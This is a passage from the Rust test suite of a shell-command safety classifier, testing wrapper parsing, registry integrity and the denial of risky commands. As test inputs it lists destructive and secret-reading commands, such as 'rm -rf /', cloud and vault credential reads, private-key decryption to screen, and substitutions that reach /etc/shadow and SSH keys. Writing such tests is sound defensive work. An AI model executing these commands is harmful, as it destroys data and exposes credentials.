name = "log"
[[command.sub]]
name = "diff"
"#);
assert_eq!(
dispatch_spec(&toks(&["jj", "log"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
assert_eq!(
dispatch_spec(&toks(&["jj", "diff"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
assert_eq!(
dispatch_spec(&toks(&["jj", "push"]), &spec),
Verdict::Denied,
);
}
#[test]
fn structured_wrapper_bare_flags_still_work() {
let spec = load_one(r#"
[[command]]
name = "jj"
bare_flags = ["--help", "--version", "-h"]
[command.wrapper]
standalone = ["--no-pager"]
[[command.sub]]
name = "log"
"#);
assert_eq!(
dispatch_spec(&toks(&["jj", "--help"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
assert_eq!(
dispatch_spec(&toks(&["jj", "--version"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
}
#[test]
fn structured_wrapper_combined_short_cluster() {
let spec = load_one(r#"
[[command]]
name = "toolbox"
bare_flags = ["--help", "-h"]
[command.wrapper]
standalone = ["--verbose", "-v"]
[[command.sub]]
name = "list"
"#);
assert_eq!(
dispatch_spec(&toks(&["toolbox", "-vv", "list"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
assert_eq!(
dispatch_spec(&toks(&["toolbox", "-vvv", "list"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
assert_eq!(
dispatch_spec(&toks(&["toolbox", "-vx", "list"]), &spec),
Verdict::Denied,
);
}
#[test]
fn structured_wrapper_bare_flag_after_wrapper() {
let spec = load_one(r#"
[[command]]
name = "toolbox"
bare_flags = ["--help", "-h"]
[command.wrapper]
standalone = ["--verbose", "-v"]
valued = ["--log-level"]
[[command.sub]]
name = "list"
"#);
assert_eq!(
dispatch_spec(&toks(&["toolbox", "--verbose", "--help"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
assert_eq!(
dispatch_spec(&toks(&["toolbox", "--help", "--verbose"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
assert_eq!(
dispatch_spec(&toks(&["toolbox", "--log-level", "info", "--help", "-v"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
assert_eq!(
dispatch_spec(&toks(&["toolbox", "--help", "stray"]), &spec),
Verdict::Denied,
);
}
#[test]
fn structured_wrapper_rejects_unknown_sub() {
let spec = load_one(r#"
[[command]]
name = "jj"
[command.wrapper]
standalone = ["--no-pager"]
[[command.sub]]
name = "log"
"#);
assert_eq!(
dispatch_spec(&toks(&["jj", "--no-pager", "push"]), &spec),
Verdict::Denied,
);
}
#[test]
fn structured_wrapper_eq_syntax() {
let spec = load_one(r#"
[[command]]
name = "jj"
[command.wrapper]
valued = ["--color"]
[[command.sub]]
name = "log"
"#);
assert_eq!(
dispatch_spec(&toks(&["jj", "--color=auto", "log"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
}
#[test]
fn structured_no_wrapper_unchanged() {
let spec = load_one(r#"
[[command]]
name = "cargo"
bare_flags = ["--help"]
[[command.sub]]
name = "test"
"#);
assert_eq!(
dispatch_spec(&toks(&["cargo", "test"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
assert_eq!(
dispatch_spec(&toks(&["cargo", "--help"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
}
#[test]
fn wrapper_delegates_safe_inner() {
let spec = load_one(r#"
[[command]]
name = "timeout"
[command.wrapper]
valued = ["--signal", "--kill-after", "-s", "-k"]
standalone = ["--preserve-status"]
positional_skip = 1
"#);
assert_eq!(
dispatch_spec(&toks(&["timeout", "30", "echo", "hello"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
}
#[test]
fn wrapper_rejects_unsafe_inner() {
let spec = load_one(r#"
[[command]]
name = "timeout"
[command.wrapper]
positional_skip = 1
"#);
assert_eq!(
dispatch_spec(&toks(&["timeout", "30", "rm", "-rf", "/"]), &spec),
Verdict::Denied,
);
}
#[test]
fn wrapper_skips_flags_then_delegates() {
let spec = load_one(r#"
[[command]]
name = "timeout"
[command.wrapper]
valued = ["--signal", "-s", "--kill-after", "-k"]
standalone = ["--preserve-status"]
positional_skip = 1
"#);
assert_eq!(
dispatch_spec(&toks(&["timeout", "-s", "KILL", "60", "echo", "hello"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
assert_eq!(
dispatch_spec(&toks(&["timeout", "--preserve-status", "120", "git", "status"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
}
#[test]
fn wrapper_no_inner_denied() {
let spec = load_one(r#"
[[command]]
name = "timeout"
[command.wrapper]
positional_skip = 1
"#);
assert_eq!(
dispatch_spec(&toks(&["timeout", "30"]), &spec),
Verdict::Denied,
);
}
#[test]
fn wrapper_bare_ok() {
let spec = load_one(r#"
[[command]]
name = "env"
[command.wrapper]
valued = ["--unset", "-u"]
standalone = ["--ignore-environment", "-i"]
bare_ok = true
"#);
assert_eq!(
dispatch_spec(&toks(&["env"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
}
#[test]
fn wrapper_bare_not_ok() {
let spec = load_one(r#"
[[command]]
name = "time"
[command.wrapper]
standalone = ["-p"]
"#);
assert_eq!(
dispatch_spec(&toks(&["time"]), &spec),
Verdict::Denied,
);
}
#[test]
fn wrapper_with_separator() {
let spec = load_one(r#"
[[command]]
name = "dotenv"
[command.wrapper]
valued = ["-c", "-e", "-f", "-v"]
separator = "--"
"#);
assert_eq!(
dispatch_spec(&toks(&["dotenv", "-f", ".env", "--", "git", "status"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
}
#[test]
fn wrapper_simple_no_flags() {
let spec = load_one(r#"
[[command]]
name = "time"
[command.wrapper]
standalone = ["-p"]
"#);
assert_eq!(
dispatch_spec(&toks(&["time", "git", "log"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
assert_eq!(
dispatch_spec(&toks(&["time", "-p", "git", "log"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
}
#[test]
fn wrapper_nested_delegation() {
let spec = load_one(r#"
[[command]]
name = "nice"
[command.wrapper]
valued = ["-n", "--adjustment"]
"#);
assert_eq!(
dispatch_spec(&toks(&["nice", "-n", "10", "cargo", "test"]), &spec),
Verdict::Allowed(SafetyLevel::SafeRead),
);
}
#[test]
fn multiple_commands() {
let specs = load_toml(r#"
[[command]]
name = "cat"
bare = true
standalone = ["-n"]
[[command]]
name = "head"
bare = false
valued = ["-n"]
"#, "test");
assert_eq!(specs.len(), 2);
assert_eq!(specs[0].name, "cat");
assert_eq!(specs[1].name, "head");
}
#[test]
fn valued_flag_at_end_without_value() {
let spec = load_one(r#"
[[command]]
name = "grep"
bare = false
valued = ["--max-count"]
"#);
assert_eq!(
dispatch_spec(&toks(&["grep", "--max-count"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
}
#[test]
fn bare_dash_as_stdin() {
let spec = load_one(r#"
[[command]]
name = "grep"
bare = false
standalone = ["-r"]
"#);
assert_eq!(
dispatch_spec(&toks(&["grep", "pattern", "-"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
}
#[test]
fn tolerate_unknown_long_eq_form() {
let spec = load_one(r#"
[[command]]
name = "echo"
bare = true
tolerate_unknown_long = true
"#);
assert_eq!(
dispatch_spec(&toks(&["echo", "--foo=bar"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
}
#[test]
fn tolerate_unknown_long_with_max() {
let spec = load_one(r#"
[[command]]
name = "echo"
bare = true
tolerate_unknown_long = true
max_positional = 2
"#);
assert_eq!(
dispatch_spec(&toks(&["echo", "--a", "--b"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
assert_eq!(
dispatch_spec(&toks(&["echo", "--a", "--b", "--c"]), &spec),
Verdict::Denied,
);
}
#[test]
fn tolerate_unknown_short_denies_unknown_double_dash() {
let spec = load_one(r#"
[[command]]
name = "echo"
bare = true
tolerate_unknown_short = true
"#);
assert_eq!(
dispatch_spec(&toks(&["echo", "--evil"]), &spec),
Verdict::Denied,
);
assert_eq!(
dispatch_spec(&toks(&["echo", "-help"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
}
fn is_grep_hook(spec: &CommandSpec) -> bool {
TOML_REGISTRY
.get(&spec.name)
.unwrap_or(spec)
.behavior
.as_ref()
.is_some_and(|b| b.hook == Some(crate::registry::types::BehaviorHook::Grep))
}
#[test]
fn credential_smelling_subs_are_classified_or_grandfathered() {
use super::types::{DispatchKind, SubSpec};
fn smells(name: &str) -> bool {
let n = name.to_ascii_lowercase();
[
"token", "secret", "password", "credential", "private-key", "access-key", "apikey",
"connection-string", "auth-string",
]
.iter()
.any(|p| n.contains(p))
}
const GRANDFATHERED: &[(&str, &str)] = &[
("caddy", "hash-password"), ("platform", "auth:api-token-login"), ("upsun", "auth:api-token-login"), ("please", "static:recache-token"), ("rails", "secret"), ("rake", "secret"), ("koyeb", "secret"), ("koyeb", "secrets"), ("wrangler", "secret"), ("clever", "tokens"), ("dcli", "credentials"), ("supabase", "secrets"), ("aws", "secretsmanager"), ("aws", "describe-secret"), ("aws", "list-secrets"), ("aws", "list-secret-version-ids"), ("gcloud", "secrets"), ];
fn collect(cmd: &str, kind: &DispatchKind, out: &mut Vec<(String, String)>) {
let subs: &[SubSpec] = match kind {
DispatchKind::Branching { subs, .. } | DispatchKind::Custom { subs, .. } => subs,
_ => return,
};
for sub in subs {
let classified = sub.profile.as_deref().is_some_and(|p| p.starts_with("credential-"));
if smells(&sub.name) && !classified {
out.push((cmd.to_string(), sub.name.clone()));
}
collect(cmd, &sub.kind, out);
}
}
let mut found = Vec::new();
for (cmd, spec) in TOML_REGISTRY.iter() {
collect(cmd, &spec.kind, &mut found);
}
found.sort();
found.dedup();
let violations: Vec<_> = found
.into_iter()
.filter(|(c, s)| !GRANDFATHERED.iter().any(|(gc, gs)| gc == c && gs == s))
.collect();
assert!(
violations.is_empty(),
"credential-smelling subs neither classified (profile=credential-*) nor grandfathered — \
the vault-read failure mode. Classify or grandfather each:\n{violations:#?}",
);
}
#[test]
fn credential_store_reads_are_denied() {
const MUST_DENY: &[&str] = &[
"op item get login",
"op read op://vault/item/field",
"op document get key.pem",
"vault read secret/data/x",
"vault kv get secret/x",
"aws secretsmanager get-secret-value --secret-id x",
"aws ecr get-login-password",
"aws sts get-session-token",
"aws ssm get-parameter --name x --with-decryption",
"gcloud secrets versions access latest --secret=x",
"gcloud auth print-access-token",
"gcloud auth print-identity-token",
"az keyvault secret show --name x --vault-name v",
"kubectl get secret db-creds -o yaml",
"kubectl get secrets",
"kubectl get secret/db-creds -o yaml",
"kubectl get -o yaml secret db-creds",
"aws configure get aws_secret_access_key",
"aws configure get aws_session_token",
"bw get password github",
"bw list items",
"pass show email/work",
"pass grep AWS_SECRET",
"heroku config",
"gh auth token",
"doctl auth init",
"security find-internet-password -s example.com",
];
let leaks: Vec<_> = MUST_DENY.iter().filter(|c| crate::is_safe_command(c)).collect();
assert!(
leaks.is_empty(),
"credential-store reads AUTO-APPROVING (secret disclosure to the caller's context) — each \
must deny (classify the sub `profile = \"credential-read\"`/`\"credential-mint\"`, or narrow \
the read-verb glob to exclude the credential action):\n{leaks:#?}",
);
}
#[test]
fn credential_first_arg_gates_every_secret_name_form() {
for c in [
"kubectl get secret db -o yaml",
"kubectl get secrets",
"kubectl get secret/db -o yaml",
"kubectl get secrets/db",
"kubectl get secret.v1.core db",
"kubectl get -o yaml secret db",
"kubectl get -n prod secret db",
"aws configure get aws_secret_access_key",
"aws configure get aws_session_token",
"kubectl get Secret db -o yaml",
"kubectl get SECRET",
"kubectl get Secrets",
"kubectl get Secret/db -o yaml",
"kubectl get SECRET.v1.core db",
"aws configure get AWS_SECRET_ACCESS_KEY",
] {
assert!(!crate::is_safe_command(c), "credential first-arg must deny: {c}");
}
for c in [
"kubectl get pods",
"kubectl get mycustomresource",
"kubectl get secretstore db", "kubectl get SecretStore db", "kubectl get pod my-pod -o yaml",
"aws configure get region",
"aws configure get output",
] {
assert!(crate::is_safe_command(c), "non-credential resource/key must allow: {c}");
}
}
#[test]
fn decrypt_read_denies_at_the_band_and_is_a_secret_read() {
use crate::engine::facet::SecretLevel;
fn collect_decrypt_sub_paths(prefix: &str, kind: &DispatchKind, out: &mut Vec<String>) {
let subs = match kind {
DispatchKind::Branching { subs, .. } | DispatchKind::Custom { subs, .. } => subs,
_ => return,
};
for s in subs {
let path = format!("{prefix} {}", s.name);
if s.profile.as_deref() == Some("decrypt-read") {
out.push(path.clone());
}
for f in &s.flags {
if f.classifies == "decrypt-read" {
out.push(format!("{path} {}", f.name));
}
}
collect_decrypt_sub_paths(&path, &s.kind, out);
}
}
let mut prefixes = Vec::new();
for (name, spec) in TOML_REGISTRY.iter() {
for f in &spec.archetype_flags {
if f.classifies == "decrypt-read" {
prefixes.push(format!("{name} {}", f.name));
}
}
collect_decrypt_sub_paths(name, &spec.kind, &mut prefixes);
}
assert!(
prefixes.len() >= 5,
"expected the known decrypt-read set (sops -d/--decrypt/decrypt, age -d/--decrypt, \
ansible-vault view), got {}: {prefixes:?}",
prefixes.len(),
);
for prefix in &prefixes {
let inv = format!("{prefix} ./secrets.file");
assert_eq!(
crate::command_verdict(&inv), Verdict::Denied,
"decrypt-read must deny at the default band: {inv}",
);
let mut parts: Vec<&str> = prefix.split(' ').collect();
parts.push("./secrets.file");
let profile = crate::engine::resolve::resolve(&toks(&parts))
.unwrap_or_else(|| panic!("decrypt-read invocation must resolve via the engine: {inv}"));
assert!(
profile.capabilities.iter().any(|c| c.secret.level == SecretLevel::Reads),
"decrypt-read invocation must carry a secret=reads capability: {inv}",
);
}
}
#[test]
fn decrypt_to_screen_corpus_denies() {
for c in [
"sops -d secrets.yaml",
"sops --decrypt secrets.yaml",
"sops decrypt secrets.yaml",
"age -d secrets.age",
"age --decrypt -i k secrets.age",
"gpg -d secret.gpg",
"gpg --decrypt secret.gpg",
"ansible-vault view vault.yml",
"ansible-vault decrypt vault.yml",
"ansible-vault decrypt --output - vault.yml",
"openssl enc -d -in x.enc -k p",
"openssl smime -decrypt -in m.p7 -inkey k.pem",
"openssl cms -decrypt -in m -inkey k",
"openssl cms -EncryptedData_decrypt -in m -secretkey ABCD", "openssl rsa -in enc.pem -passin pass:x",
"openssl rsa -in priv.pem -out /dev/stdout", "openssl rsa -in priv.pem -out -", "openssl rsa -in priv.pem -out //dev/stdout", "openssl rsa -in priv.pem -out /dev/stderr", "openssl rsa -in priv.pem -out safe.pem -out /dev/stdout", "openssl rsa -in k.pem -provider-path -out -provider-path safe.pem", "openssl rsa -in priv.pem -noout -text", "openssl rsa -in priv.pem -pubout -text", "openssl pkey -in priv.pem -pubout -text",
"openssl enc --d -aes-128-cbc -k p -in ct.enc", "openssl cms --decrypt -in m -inkey k",
"openssl pkcs12 -in f.p12 --noenc",
"openssl pkey -in priv.pem",
"openssl ec -in priv.pem",
"openssl pkcs8 -in priv.pem",
"openssl pkcs12 -in file.p12 -noenc",
"openssl pkcs12 -in file.p12 -nodes",
"openssl pkcs12 -in file.p12 -nodes -out /dev/stdout",
"gpg secret.gpg",
"gpg --verbose secret.gpg",
] {
assert!(!crate::is_safe_command(c), "decrypt-to-screen must deny at the band: {c}");
}
for c in [
"openssl rsa -in priv.pem -pubout",
"openssl pkey -in pub.pem -pubin -text", "openssl rsa -in enc.pem -out clean.pem", "openssl rsa -in priv.pem -noout", "openssl pkcs12 -in file.p12 -nodes -out key.pem", "openssl pkcs12 -in file.p12", "openssl enc -d -out plain.txt -k p -in ct.enc", "openssl enc -e -in x -out x.enc -k p",
"openssl cms -sign -in m -signer c",
"gpg --list-keys",
"gpg --version",
] {
assert!(crate::is_safe_command(c), "a public/to-file/read form must stay allowed: {c}");
}
}
#[test]
fn command_substitution_operand_is_gated_across_simple_gates() {
for c in [
"od $(echo /etc/shadow)", "base64 $(echo ~/.ssh/id_rsa)", "base64 `echo ~/.ssh/id_rsa`", "shred $(echo /etc/hosts)", "tee $(echo /etc/hosts)", "cpio -O$(echo /etc/cron.d/x)", "cpio -O $(echo /etc/cron.d/x)", ] {
assert!(!crate::is_safe_command(c), "unpinnable cmdsub operand must be gated: {c}");
}
for c in ["od ./notes.txt", "base64 ./data.bin", "tee ./out.log"] {
assert!(crate::is_safe_command(c), "plain worktree operand must stay allowed: {c}");
}
}
#[test]
fn openssl_decrypt_triggers_gate_both_dash_spellings() {
for (sub, flag) in [
("enc", "-d"),
("smime", "-decrypt"),
("cms", "-decrypt"),
("cms", "-EncryptedData_decrypt"),
("pkcs12", "-noenc"),
("pkcs12", "-nodes"),
] {
let single = format!("openssl {sub} {flag} -in x -k p");
let double = format!("openssl {sub} -{flag} -in x -k p"); assert!(!crate::is_safe_command(&single), "single-dash must deny: {single}");
assert!(!crate::is_safe_command(&double), "double-dash twin must deny: {double}");
}
}
#[test]
fn toml_registry_rejects_unknown_flags() {
let mut failures = Vec::new();
for (name, spec) in TOML_REGISTRY.iter() {
if is_grep_hook(spec) {
continue;
}
match &spec.kind {
DispatchKind::Policy { policy, .. } | DispatchKind::RequireAny { policy, .. }
if policy.tolerance.unknown.allows_long() => continue,
DispatchKind::Custom { .. } => continue,
_ => {}
}
let test = format!("{name} --xyzzy-unknown-42");
if crate::is_safe_command(&test) {
failures.push(format!("{name}: accepted unknown flag"));
}
}
assert!(failures.is_empty(), "TOML commands accepted unknown flags:\n{}", failures.join("\n"));
}
#[test]
fn toml_examples_match_dispatch() {
let mut failures = Vec::new();
for (name, spec) in TOML_REGISTRY.iter() {
if name != &spec.name {
continue;
}
for ex in &spec.examples_safe {
if !crate::is_safe_command(ex) {
failures.push(format!("{}: examples_safe rejected: {ex:?}", spec.name));
}
}
for ex in &spec.examples_denied {
if crate::is_safe_command(ex) {
failures.push(format!("{}: examples_denied accepted: {ex:?}", spec.name));
}
}
}
assert!(failures.is_empty(),
"TOML examples drift from dispatcher:\n{}", failures.join("\n"));
}
#[test]
fn a_profiled_sub_accepts_only_flags_declared_for_that_sub() {
const PROBES: &[&str] = &[
"--frobnicate", "--endpoint-url", "--profile", "--api-key", "--token", "--host",
"--no-verify-ssl", "--force", "--exec", "--output", "--all",
];
let mut leaks = Vec::new();
for (name, spec) in TOML_REGISTRY.iter() {
if name != &spec.name {
continue; }
walk_profiled(&spec.kind, &mut vec![spec.name.clone()], &mut |path, sub| {
if !matches!(sub.allowed_unknown, crate::policy::UnknownTolerance::Strict) {
return;
}
for probe in PROBES {
let declared = sub.allowed_standalone.iter().any(|f| f == probe)
|| sub.allowed_valued.iter().any(|f| f == probe)
|| sub.flags.iter().any(|f| f.name == *probe)
|| sub.output_path_flags.iter().any(|f| f == probe)
|| sub.destination_flag.as_deref() == Some(*probe);
if declared {
continue;
}
let cmd = format!("{} {probe} x", path.join(" "));
if crate::is_safe_command(&cmd) {
leaks.push(format!("{cmd:?} — `{probe}` is not declared for this sub"));
}
}
});
}
assert!(
leaks.is_empty(),
"profiled sub accepted a flag it never declared ({} case(s)):\n {}",
leaks.len(),
leaks.join("\n "),
);
}
fn walk_profiled(
kind: &'static crate::registry::types::DispatchKind,
path: &mut Vec<String>,
f: &mut impl FnMut(&[String], &'static crate::registry::types::SubSpec),
) {
use crate::registry::types::DispatchKind as D;
let subs = match kind {
D::Branching { subs, .. } | D::Custom { subs, .. } => subs,
_ => return,
};
for sub in subs {
path.push(sub.name.clone());
if sub.profile.is_some() {
f(path, sub);
}
walk_profiled(&sub.kind, path, f);
path.pop();
}
}
#[test]
fn safe_chains_knows_its_own_cli_flags() {
use clap::CommandFactory;
const NOT_AUTO_APPROVED: &[&str] =
&["setup", "tool", "auto-detect", "generate-book", "suggest"];
let cmd = crate::cli::Cli::command();
let mut failures = Vec::new();
for arg in cmd.get_arguments() {
let spelling = match (arg.get_long(), arg.get_short()) {
(Some(long), _) => format!("--{long}"),
(None, Some(short)) => format!("-{short}"),
(None, None) => continue, };
if spelling == "--help" || spelling == "--version" {
continue;
}
let long = spelling.trim_start_matches('-');
let takes_value = arg.get_num_args().is_none_or(|r| r.takes_values());
let invocation = if takes_value {
format!("safe-chains {spelling} X 'ls'")
} else {
format!("safe-chains {spelling} 'ls'")
};
let allowed = crate::is_safe_command(&invocation);
let intended = !NOT_AUTO_APPROVED.contains(&long);
if allowed != intended {
failures.push(format!(
"--{long}: classifies {} but {} ({invocation:?})",
if allowed { "SAFE" } else { "denied" },
if intended {
"commands/tools/safe-chains.toml does not list it"
} else {
"it is declared NOT_AUTO_APPROVED"
},
));
}
}
assert!(
failures.is_empty(),
"safe-chains' own CLI flags drift from its command spec:\n{}",
failures.join("\n"),
);
}
#[test]
fn verb_chain_grammar_is_enforced_across_the_registry() {
const BOGUS_VERB: &str = "sc-nonexistent-verb-zzz";
const BOGUS_FLAG: &str = "--sc-nonexistent-main-flag-zzz";
let mut checked = 0;
for (name, spec) in TOML_REGISTRY.iter() {
if name != &spec.name {
continue; }
let DispatchKind::VerbChain(vc) = &spec.kind else {
continue;
};
checked += 1;
let cmd = &spec.name;
let sep = &vc.separator;
let first = vc.verbs.iter().next().expect("a verb-chain command declares ≥1 verb");
for verb in &vc.verbs {
assert!(crate::is_safe_command(&format!("{cmd} {verb}")),
"{cmd}: allowlisted verb `{verb}` denied");
assert!(crate::is_safe_command(&format!("{cmd} {first} {sep} {verb}")),
"{cmd}: allowlisted verb `{verb}` denied after `{sep}`");
}
assert!(!crate::is_safe_command(&format!("{cmd} {BOGUS_VERB}")),
"{cmd}: non-allowlisted verb allowed (bare)");
assert!(!crate::is_safe_command(&format!("{cmd} {first} {sep} {BOGUS_VERB}")),
"{cmd}: non-allowlisted verb allowed after `{sep}`");
let real: Vec<&str> = vc.main_standalone.iter().take(3).map(String::as_str).collect();
for at in 0..=real.len() {
let mut main = real.clone();
main.insert(at, BOGUS_FLAG);
let line = format!("{cmd} {} {first}", main.join(" "));
assert!(!crate::is_safe_command(&line),
"{cmd}: unknown main flag allowed at position {at}: `{line}`");
}
}
assert!(checked >= 1, "no verb-chain commands exercised — vacuous guard");
}
#[test]
fn examples_appear_before_nested_tables_in_every_toml() {
use std::fs;
use std::path::PathBuf;
fn walk(dir: &std::path::Path, out: &mut Vec<PathBuf>) {
for entry in fs::read_dir(dir).unwrap() {
let entry = entry.unwrap();
let path = entry.path();
if path.is_dir() {
walk(&path, out);
} else if path.extension().and_then(|e| e.to_str()) == Some("toml") {
if path.file_name().and_then(|n| n.to_str()) == Some("SAMPLE.toml") {
continue;
}
out.push(path);
}
}
}
let mut files = Vec::new();
walk(std::path::Path::new("commands"), &mut files);
assert!(!files.is_empty(), "expected commands/ to contain TOML files");
let mut failures = Vec::new();
for path in files {
let source = fs::read_to_string(&path).unwrap();
let parsed: toml::Value = match toml::from_str(&source) {
Ok(v) => v,
Err(e) => {
failures.push(format!("{}: parse error: {e}", path.display()));
continue;
}
};
let Some(cmds) = parsed.get("command").and_then(|v| v.as_array()) else {
continue;
};
for cmd in cmds {
let Some(name) = cmd.get("name").and_then(|v| v.as_str()) else {
continue;
};
if source.contains("examples_safe")
&& cmd.get("examples_safe").is_none()
{
failures.push(format!(
"{}: command `{name}` — `examples_safe` text in file but \
not attached to [[command]] (move it above any \
[[command.sub]] / [command.fallback] table)",
path.display(),
));
}
if source.contains("examples_denied")
&& cmd.get("examples_denied").is_none()
{
failures.push(format!(
"{}: command `{name}` — `examples_denied` text in file \
but not attached to [[command]] (move it above any \
[[command.sub]] / [command.fallback] table)",
path.display(),
));
}
}
}
assert!(
failures.is_empty(),
"TOML examples misordered:\n{}",
failures.join("\n"),
);
}
#[test]
fn no_command_name_is_defined_twice() {
use std::collections::HashMap;
use std::fs;
use std::path::PathBuf;
fn walk(dir: &std::path::Path, out: &mut Vec<PathBuf>) {
for entry in fs::read_dir(dir).unwrap() {
let path = entry.unwrap().path();
if path.is_dir() {
walk(&path, out);
} else if path.extension().and_then(|e| e.to_str()) == Some("toml")
&& path.file_name().and_then(|n| n.to_str()) != Some("SAMPLE.toml")
{
out.push(path);
}
}
}
let mut files = Vec::new();
walk(std::path::Path::new("commands"), &mut files);
assert!(!files.is_empty(), "expected commands/ to contain TOML files");
files.sort();
let mut owner: HashMap<String, PathBuf> = HashMap::new();
let mut dups = Vec::new();
for path in &files {
let src = fs::read_to_string(path).unwrap();
let parsed: toml::Value = toml::from_str(&src)
.unwrap_or_else(|e| panic!("{}: parse error: {e}", path.display()));
let Some(cmds) = parsed.get("command").and_then(|v| v.as_array()) else {
continue;
};
for cmd in cmds {
let Some(name) = cmd.get("name").and_then(|v| v.as_str()) else {
continue;
};
match owner.get(name) {
Some(prev) => dups.push(format!(
"`{name}` defined in both {} and {}",
prev.display(),
path.display()
)),
None => {
owner.insert(name.to_string(), path.clone());
}
}
}
}
assert!(dups.is_empty(), "duplicate command names:\n{}", dups.join("\n"));
}
#[test]
fn handler_with_subs_and_fallback_builds_custom_kind() {
let spec = load_one(r#"
[[command]]
name = "demo-handler"
handler = "demo"
[[command.sub]]
name = "diag"
max_positional = 0
[command.fallback]
level = "Inert"
bare = true
max_positional = 1
positional_shape = "path"
standalone = ["--help", "-h"]
"#);
match &spec.kind {
DispatchKind::Custom { handler_name, subs, fallback, .. } => {
assert_eq!(handler_name, "demo");
let names: Vec<_> = subs.iter().map(|s| s.name.as_str()).collect();
assert_eq!(names, vec!["diag"]);
let f = fallback.as_ref().expect("fallback present");
assert_eq!(f.level, SafetyLevel::Inert);
assert_eq!(f.policy.max_positional, Some(1));
assert_eq!(
f.positional_shape,
Some(crate::policy::PositionalShape::Path),
);
}
other => panic!("expected Custom, got {other:?}"),
}
}
#[test]
fn sub_policy_ref_resolves_to_handler_policy() {
let spec = load_one(r#"
[[command]]
name = "demo-policy-ref"
handler = "demo_handler"
[command.handler_policy.shared]
bare = false
standalone = ["--help", "--web", "-h", "-w"]
valued = ["--repo"]
[[command.sub]]
name = "browse"
policy = "shared"
guard = "--no-browser"
guard_short = "-n"
level = "Inert"
[[command.sub]]
name = "search"
policy = "shared"
level = "Inert"
"#);
match &spec.kind {
DispatchKind::Custom { subs, .. } => {
let browse = subs.iter().find(|s| s.name == "browse").unwrap();
match &browse.kind {
DispatchKind::RequireAny { policy, require_any, .. } => {
assert!(policy.standalone.iter().any(|f| f == "--web"));
assert!(policy.valued.iter().any(|f| f == "--repo"));
assert!(require_any.iter().any(|f| f == "--no-browser"));
assert!(require_any.iter().any(|f| f == "-n"));
}
other => panic!("expected RequireAny (guard sets it), got {other:?}"),
}
let search = subs.iter().find(|s| s.name == "search").unwrap();
match &search.kind {
DispatchKind::Policy { policy, .. } => {
assert!(policy.standalone.iter().any(|f| f == "--web"));
assert!(policy.valued.iter().any(|f| f == "--repo"));
}
other => panic!("expected Policy, got {other:?}"),
}
}
other => panic!("expected Custom, got {other:?}"),
}
}
#[test]
fn sub_policy_ref_unknown_key_panics() {
let result = std::panic::catch_unwind(|| {
load_one(r#"
[[command]]
name = "demo-bad-ref"
handler = "demo_handler"
[command.handler_policy.real]
bare = true
[[command.sub]]
name = "browse"
policy = "rael"
"#);
});
assert!(
result.is_err(),
"[[command.sub]] policy referencing an unknown handler_policy must panic",
);
}
#[test]
fn sub_policy_ref_with_inline_lists_panics() {
let result = std::panic::catch_unwind(|| {
load_one(r#"
[[command]]
name = "demo-dup-ref"
handler = "demo_handler"
[command.handler_policy.shared]
bare = true
standalone = ["--help"]
[[command.sub]]
name = "browse"
policy = "shared"
standalone = ["--extra"]
"#);
});
assert!(
result.is_err(),
"mixing `policy` ref with inline standalone/valued must panic",
);
}
#[test]
fn matrix_referencing_unknown_policy_panics() {
let result = std::panic::catch_unwind(|| {
load_one(r#"
[[command]]
name = "demo-bad-matrix"
handler = "demo_handler"
[command.handler_policy.real]
bare = true
standalone = ["--help"]
[[command.matrix]]
parents = ["alpha"]
level = "Inert"
[command.matrix.actions]
list = "rael"
"#);
});
assert!(
result.is_err(),
"matrix referencing an unknown handler_policy must panic at build time",
);
}
#[test]
fn matrix_with_duplicate_parent_action_panics() {
let result = std::panic::catch_unwind(|| {
load_one(r#"
[[command]]
name = "demo-dup-matrix"
handler = "demo_handler"
[command.handler_policy.a]
bare = true
[command.handler_policy.b]
bare = true
[[command.matrix]]
parents = ["alpha"]
level = "Inert"
[command.matrix.actions]
list = "a"
[[command.matrix]]
parents = ["alpha"]
level = "SafeWrite"
[command.matrix.actions]
list = "b"
"#);
});
assert!(
result.is_err(),
"duplicate (parent, action) across matrices must panic at build time",
);
}
#[test]
fn fallback_without_handler_panics() {
let result = std::panic::catch_unwind(|| {
load_one(r#"
[[command]]
name = "demo-orphan-fallback"
bare = true
[command.fallback]
level = "Inert"
bare = true
"#);
});
assert!(
result.is_err(),
"fallback declared without a handler should panic — \
try_fallback_grammar is only invoked from handlers, so the \
block is dead config",
);
}
#[test]
fn unknown_positional_shape_panics() {
let result = std::panic::catch_unwind(|| {
load_one(r#"
[[command]]
name = "demo-bad-shape"
handler = "demo"
[command.fallback]
level = "Inert"
positional_shape = "not-a-real-shape"
"#);
});
assert!(
result.is_err(),
"loading an unknown positional_shape should panic with diagnostic",
);
}
#[test]
fn handler_without_fallback_field_has_none() {
let spec = load_one(r#"
[[command]]
name = "demo-no-fallback"
handler = "demo"
"#);
match &spec.kind {
DispatchKind::Custom { subs, fallback, .. } => {
assert!(subs.is_empty());
assert!(fallback.is_none());
}
other => panic!("expected Custom, got {other:?}"),
}
}
#[test]
fn deny_field_denies_every_invocation() {
let source = r#"
[[command]]
name = "demo-deny"
deny = true
"#;
let specs = load_toml(source, "test");
let map = build_registry(specs);
let spec = map.get("demo-deny").expect("demo-deny in registry");
for case in ["demo-deny", "demo-deny --help", "demo-deny foo bar", "demo-deny -x"] {
